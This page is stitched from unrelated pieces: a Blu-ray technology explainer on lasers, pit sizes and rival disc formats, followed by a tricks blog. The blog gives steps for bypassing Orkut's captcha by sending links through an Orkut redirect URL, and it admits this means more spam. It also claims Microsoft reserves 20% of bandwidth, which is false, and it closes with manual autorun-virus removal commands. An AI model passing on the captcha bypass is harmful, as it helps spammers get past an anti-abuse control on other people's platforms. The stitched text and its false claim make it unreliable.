BLU-RAY DISCS

Building a Blu-ray Disc
Blu-ray discs not only have more storage capacity than traditional DVDs, but they also offer a new level of interactivity. Users will be able to connect to the Internet and instantly download subtitles and other interactive movie features. With Blu-ray, you can:
record high-definition television (HDTV) without any quality loss
instantly skip to any spot on the disc
record one program while watching another on the disc
create playlists
edit or reorder programs recorded on the disc
automatically search for an empty space on the disc to avoid recording over a program
access the Web to download subtitles and other extra features
Discs store digitally encoded video and audio information in pits -- spiral grooves that run from the center of the disc to its edges. A laser reads the other side of these pits -- the bumps -- to play the movie or program that is stored on the DVD. The more data that is contained on a disc, the smaller and more closely packed the pits must be. The smaller the pits (and therefore the bumps), the more precise the reading laser must be.
Unlike current DVDs, which use a red laser to read and write data, Blu-ray uses a blue laser (which is where the format gets its name). A blue laser has a shorter wavelength (405 nanometers) than a red laser (650 nanometers). The smaller beam focuses more precisely, enabling it to read information recorded in pits that are only 0.15 microns (µm) (1 micron = 10-6 meters) long -- this is more than twice as small as the pits on a DVD. Plus, Blu-ray has reduced the track pitch from 0.74 microns to 0.32 microns. The smaller pits, smaller beam and shorter track pitch together enable a single-layer Blu-ray disc to hold more than 25 GB of information -- about five times the amount of information that can be stored on a DVD.

Each Blu-ray disc is about the same thickness (1.2 millimeters) as a DVD. But the two types of discs store data differently. In a DVD, the data is sandwiched between two polycarbonate layers, each 0.6-mm thick. Having a polycarbonate layer on top of the data can cause a problem called birefringence, in which the substrate layer refracts the laser light into two separate beams. If the beam is split too widely, the disc cannot be read. Also, if the DVD surface is not exactly flat, and is therefore not exactly perpendicular to the beam, it can lead to a problem known as disc tilt, in which the laser beam is distorted. All of these issues lead to a very involved manufacturing process.
Learn how Blu-ray overcomes these obstacles in the next section.






How Blu-ray Reads Data
On Guard
Blu-ray discs are better armed than current DVDs. They come equipped with a secure encryption system -- a unique ID that protects against video piracy and copyright infringement.
The Blu-ray disc overcomes DVD-reading issues by placing the data on top of a 1.1-mm-thick polycarbonate layer. Having the data on top prevents birefringence and therefore prevents readability problems. And, with the recording layer sitting closer to the objective lens of the reading mechanism, the problem of disc tilt is virtually eliminated. Because the data is closer to the surface, a hard coating is placed on the outside of the disc to protect it from scratches and fingerprints.

The design of the Blu-ray discs saves on manufacturing costs. Traditional DVDs are built by injection molding the two 0.6-mm discs between which the recording layer is sandwiched. The process must be done very carefully to prevent birefringence.
1. The two discs are molded.
2. The recording layer is added to one of the discs.
3. The two discs are glued together.
Blu-ray discs only do the injection-molding process on a single 1.1-mm disc, which reduces cost. That savings balances out the cost of adding the protective layer, so the end price is no more than the price of a regular DVD.

Blu-ray also has a higher data transfer rate -- 36 Mbps (megabits per second) -- than today's DVDs, which transfer at 10 Mbps. A Blu-ray disc can record 25 GB of material in just over an hour and a half.




We'll look at some of Blu-ray's competitors in the next section.
Formats
Unlike DVDs and CDs, which started with read-only formats and only later added recordable and re-writable formats, Blu-ray is initially designed in several different formats:
BD-ROM (read-only) - for pre-recorded content
BD-R (recordable) - for PC data storage
BD-RW (rewritable) - for PC data storage
BD-RE (rewritable) - for HDTV recording




Will Blu-ray replace previous DVDs? Its manufacturers hope so. In the meantime, JVC has developed a Blu-ray/DVD combo disc with an approximate 33.5-GB capacity, allowing for the release of video in both formats on a single disc. But Blu-ray is not alone in the marketplace. A few other formats are competing for a share of the DVD market.
The other big player is HD-DVD, also called AOD (Advanced Optical Disc), which was developed by electronics giants Toshiba and NEC. HD-DVD was actually in the works before regular DVD, but it didn't begin real development until 2003.
The advantage to HD-DVD is that it uses the same basic format as the traditional DVD and can therefore be manufactured with the same equipment, saving on costs. HD-DVD matches the storage capacity of Blu-ray. A rewritable, single-layer HD-DVD can hold 15 GB of data, a double-layer disc can hold 30 GB, and a triple-layer disc can hold 45 GB (that's compared to 27 GB and 50 GB for Blu-ray). The read-only versions hold slightly less data. Also, HD-DVD offers the interactive capabilities of Blu-ray, with HDi. For more information on HD-DVD, check out How HD-DVD Works.

Blu-ray and HD-DVD are the two major competitors in the market, but there are other contenders, as well. Warner Bros. Pictures has developed its own system, called HD-DVD-9. This system uses a higher compression rate to put more information (about two hours of high-definition video) on a standard DVD. Taiwan has created the Forward Versatile Disc (FVD), an upgraded version of today's DVDs that allows for more data storage capacity (5.4 GB on a single-sided disc and 9.8 GB on a double-sided disc). And China has introduced the Enhanced Video Disc (EVD), another high-definition video disc.
There are also professional versions of the blue laser technology. Sony has developed XDCAM and ProData (Professional Disc for Data). The former is designed for use by broadcasters and AV studios. The latter is primarily for commercial data storage (for example, backing up servers).
It seems that the future holds a whole lot more than 25 to 54 GB on a single disc. According to T3: Pioneer goes beyond Blu-Ray, Pioneer is developing an optical disc that will blow away the hard disc in most of our PCs in terms storage capacity, holding 500 GB of data. How so? Pioneer's lasers are ultraviolet, which have an even shorter wavelength than the blue.

COMPLETELY WORKING.. PLEASE LE
AVE COMMENTS IN CASE OF ANY PROBLEM..

2) A way out to send links without filling in any captcha.


A CAPTCHA is a type of challenge-response test used in computing to determine whether the user is human. The process involves one computer (a server) asking a user to complete a simple test which the computer is able to generate and grade. Because computers are unable to solve the CAPTCHA, any user entering a correct solution is presumed to be human. A common type of CAPTCHA requires that the user type the letters of a distorted image, sometimes with the addition of an obscured sequence of letters or digits that appears on the screen.

In short a captcha is an effective way of controlling spam. Now it's time to break that in Orkut.

Well, i am not amused but many of the thousands will be after reading this post. Orkut Brains just discovered a way out to send links without filling in any captcha (word verification). Unfortunately, this means more spam on orkut.



1. http://www.orkut.com/ClickTracker.aspx?url=//////www.yourlink.com
2. Edit the 'your link' in the link with the one you want to send and paste them in your scraps.
3. Do NOT remove the six slashes before www.yourlink.com
4. Enjoy Sending the links without filling the word verification

Note: 'http://' wont work, 'www' works flawlessly.

https://www.google.com/............www.orkut.com/GLogin.aspx
The above link directly opens orkut login box!!!
So it is faster than normal orkut login.try it. u'll love it

Speed up your internet by
20%

Microsoft
reserves 20% of your available bandwidth for their own purposes like
Windows Updates and interrogating your PC etc

You can get it
back:

Click Start then Run and type "gpedit.msc" without
quotes.This opens the group policy editor. Then go to:
Local Computer
Policy
then Computer Configuration
then Administrative Templates
then Network then QOS Packet Scheduler and then to Limit Reservable
Bandwidth.

Double
click on Limit Reservable bandwidth. It will say it is not configured, but
the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler
limits the system to 20 percent of the bandwidth of a connection, but you
can use this setting to override the default."
So the trick is to
ENABLE reservable bandwidth, then set it to ZERO. This will allow the
system to reserve nothing, rather than the default 20%.It works on Win
2000 as well.

Autorun virus

Are you bothered with Autorun virus?

Step 1:

HOW DO YOU KNOW YOU HAVE AUTORUN VIRUS ON YOUR SYSTEM?

Go to windows explorer or my computer

Right-click on your drive(s) you will see these Chinese or sort of a thing "xioxex"

To reconfirm

Go to tools, folder options

Click on the view tab

Select show hidden files and folders

Uncheck hide protected operating system files (recommended)

Select Apply and OK

Check your drive(s)

The presence of Autorun.vbs and other sorts of Autorun shows that there is a virus on the system.

These viruses when left for a long time will disable your folder options, Run, Registry, Msconfig and ends up deleting or corrupting your document or files.


Step 2:

HOW DO YOU DISABLE THESE VIRUSES FROM REPLICATING?

Select start menu

Click on run and type regedit click ok

Select edit menu and click on find

Type userinit, check "match whole string only", click find next

Double click on the userinit

Delete Autorun.bat only

Close Registry

You had just disable the virus from running each time you boot your system.

NOTE: if you cannot enter your registry that means the virus has deactivated it so you have to go to safe mode and repeat step 2


Step 3

HOW DO YOU REMOVE THE AUTORUN VIRUS?

Now you have to restart you computer

When restarting go to safe mode by pressing F8

When fully booted

Select start menu, click Run

Type cmd, select OK

Type cd\ press enter

Type Attrib –a –s –h –r and press enter

Take note of the spaces in between the command and dashes

Type dir and press enter

You will see all the Autorun viruses and this is what you do.

Type del Autorun.* and press enter follow the same step for all drives that are infected.

Type exit and press enter

Now restart your computer in a normal mode and check you computer again using step 1 and all the viruses are gone….
